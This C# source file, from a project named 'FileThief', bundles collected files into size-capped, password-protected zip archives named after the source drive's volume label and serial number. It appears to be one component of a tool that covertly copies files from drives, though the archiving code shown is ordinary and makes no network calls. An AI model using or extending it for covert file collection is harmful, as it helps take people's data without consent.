﻿using System;
using System.IO;
using System.Collections.Generic;
using System.Threading;
using Ionic.Zip;

namespace FileThief
{
    public class Zip
    {
        
        public List<FileInfo> GetZipFiles(List<FileInfo> fileList)
        {         
            //throw new Exception();
            if (Settings.GetSettings().zip.IsCreateZipFilesOn)
            {
                List<FileInfo> result = new List<FileInfo>();

                int j = 0;//将要做加入处理的文件在list中的序号，每加入一个文件便自加1

                List<FileInfo> zipFileList = new List<FileInfo>();
                long length = 0;//计算已加入单个压缩包的所有文件大小，以判断何时进行压缩

                while (j < fileList.Count)
                {
                    length += fileList[j].Length;
                    zipFileList.Add(fileList[j]);
                    j++;

                    if (length > Settings.GetSettings().zip.ZipFileMaxLength || j == fileList.Count)//判断条件，所有判断均放于此
                    {
                        ZipFile zipFile = CreateZipFile(zipFileList);

                        //压缩强度
                        zipFile.CompressionLevel = Settings.GetSettings().zip.ZipCompressionLevel;
                        //解压密码
                        zipFile.Password = Settings.GetSettings().zip.ZipPassword;

                        //Zip文件保存名称

                        string zipFileSaveName = Settings.GetSettings().zip.ZipFileDir +
                            (new DriveInfo(fileList[0].FullName[0].ToString())).VolumeLabel + "-" +
                            (new VolumeSerialNumberManager().GetVolumeSerialNumber(fileList[0].FullName[0].ToString())) + "-" +
                            DateTime.Now.ToString("yyyy-MM-dd-HH-mm-ss-fffffff") +
                            ".zip";

                        if(!Directory.Exists(Settings.GetSettings().zip.ZipFileDir))
                            Directory.CreateDirectory(Settings.GetSettings().zip.ZipFileDir);                       
                        zipFile.Save(zipFileSaveName);
                        result.Add(new FileInfo(zipFileSaveName));

                        length = 0;
                        zipFileList.Clear();
                    }
                };
                    
                return result;
            }
            else
            {
                return fileList;
            }
            
        }

        /// <summary>
        /// 创建多个指定文件的压缩包
        /// </summary>
        /// <param name="fileList">待压缩的文件列表</param>
        /// <returns></returns>
        private ZipFile CreateZipFile(List<FileInfo> fileList)
        {
            if (fileList != null)
            {
                ZipFile zipFile = new ZipFile(System.Text.Encoding.Default);                

                for (int i = 0; i < fileList.Count; i++)
                {                   
                    if (FindFileDir(fileList[i].FullName) != "")
                    {
                        //Console.WriteLine(FindFileDir(fileList[i].FullName));
                        zipFile.AddFile(fileList[i].FullName, FindFileDir(fileList[i].FullName));
                    }
                    else
                    {
                        zipFile.AddFile(fileList[i].FullName);
                    }
                }               

                return zipFile;
            }
            else
            {
                return null;
            }
        }
        
        /// <summary>
        /// 找到文件所在的文件夹名
        /// </summary>
        /// <param name="filePath">filePath:待查找的文件路径</param>
        /// <returns></returns>
        private string FindFileDir(string filePath)
        {
            int index = filePath.LastIndexOf('\\');
            int first = filePath.IndexOf('\\');
            string dir;

            dir = filePath.Substring(0, first - 1);
            if (index != first)
                dir += "\\" + filePath.Substring(first + 1, index - first - 1);

            return dir;
        }

    }
}
